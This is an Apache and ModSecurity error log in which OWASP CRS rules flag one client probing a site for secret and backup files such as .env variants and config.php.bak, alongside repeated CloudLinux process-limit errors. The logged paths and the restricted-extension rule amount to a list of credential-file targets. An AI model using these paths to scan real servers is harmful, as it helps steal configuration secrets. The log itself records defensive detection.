[Fri Jul 17 07:54:31.390384 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.php.bak"] [unique_id "almSXw5GPQ6hs4VrfMo3TgAAAAY"]
[Fri Jul 17 07:54:31.390638 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.php.bak"] [unique_id "almSXw5GPQ6hs4VrfMo3TgAAAAY"]
[Fri Jul 17 07:54:31.390929 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.391082 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXw5GPQ6hs4VrfMo3TgAAAAY"]
[Fri Jul 17 07:54:31.453324 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/core/.env"] [unique_id "almSX4l9vhFBGA6D8l9v8gAAAAw"]
[Fri Jul 17 07:54:31.453682 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/core/.env"] [unique_id "almSX4l9vhFBGA6D8l9v8gAAAAw"]
[Fri Jul 17 07:54:31.453960 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.454162 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSX4l9vhFBGA6D8l9v8gAAAAw"]
[Fri Jul 17 07:54:31.513373 2026] [hostinglimits:warn] [pid 1994966:tid 1994966] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994966) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.621442 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:54:31.753732 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.dev"] [unique_id "almSX7yEqmgiTSUa55oBRAAAABA"]
[Fri Jul 17 07:54:31.753951 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/configuration.php.bak"] [unique_id "almSX4l9vhFBGA6D8l9v8wAAAAw"]
[Fri Jul 17 07:54:31.753973 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.dev"] [unique_id "almSX7yEqmgiTSUa55oBRAAAABA"]
[Fri Jul 17 07:54:31.754694 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/configuration.php.bak"] [unique_id "almSX4l9vhFBGA6D8l9v8wAAAAw"]
[Fri Jul 17 07:54:31.756426 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/config.php.bak"] [unique_id "almSX90t9Kb_MdNxrg64XwAAAAM"]
[Fri Jul 17 07:54:31.756871 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/config.php.bak"] [unique_id "almSX90t9Kb_MdNxrg64XwAAAAM"]
[Fri Jul 17 07:54:31.757728 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.757821 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.757962 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSX90t9Kb_MdNxrg64XwAAAAM"]
[Fri Jul 17 07:54:31.758095 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSX4l9vhFBGA6D8l9v8wAAAAw"]
[Fri Jul 17 07:54:31.873653 2026] [security2:error] [pid 1993584:tid 1993584] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/.env.swp"] [unique_id "almSX1xP5-SsqbGuGB2eBwAAAAA"]
[Fri Jul 17 07:54:31.874046 2026] [security2:error] [pid 1993584:tid 1993584] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.swp"] [unique_id "almSX1xP5-SsqbGuGB2eBwAAAAA"]
[Fri Jul 17 07:54:31.874448 2026] [security2:error] [pid 1993584:tid 1993584] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.swp"] [unique_id "almSX1xP5-SsqbGuGB2eBwAAAAA"]
[Fri Jul 17 07:54:31.874933 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.875224 2026] [security2:error] [pid 1993584:tid 1993584] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSX1xP5-SsqbGuGB2eBwAAAAA"]
[Fri Jul 17 07:54:31.933558 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/web/.env"] [unique_id "almSXwG5-NXx3Mem1QgHyQAAAA8"]
[Fri Jul 17 07:54:31.933807 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/web/.env"] [unique_id "almSXwG5-NXx3Mem1QgHyQAAAA8"]
[Fri Jul 17 07:54:31.934044 2026] [hostinglimits:warn] [pid 1994956:tid 1994956] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994956) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:31.934179 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXwG5-NXx3Mem1QgHyQAAAA8"]
[Fri Jul 17 07:54:31.977642 2026] [security2:error] [pid 1993659:tid 1993659] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXJOFLENLI63GGOED4AAAAAQ"]
[Fri Jul 17 07:54:31.992675 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/public/.env"] [unique_id "almSXxAi3pC6yjXGNq12iwAAAAU"]
[Fri Jul 17 07:54:31.992941 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/public/.env"] [unique_id "almSXxAi3pC6yjXGNq12iwAAAAU"]
[Fri Jul 17 07:54:32.088541 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:32.088790 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:32.296942 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:32.366456 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:32.661373 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:32.676944 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXUhq6UAnqYko0LpQNQAAABE"]
[Fri Jul 17 07:54:32.720543 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.004235 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.005830 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.256518 2026] [hostinglimits:warn] [pid 1993584:tid 1993584] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993584) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.310941 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.346143 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:33.385839 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
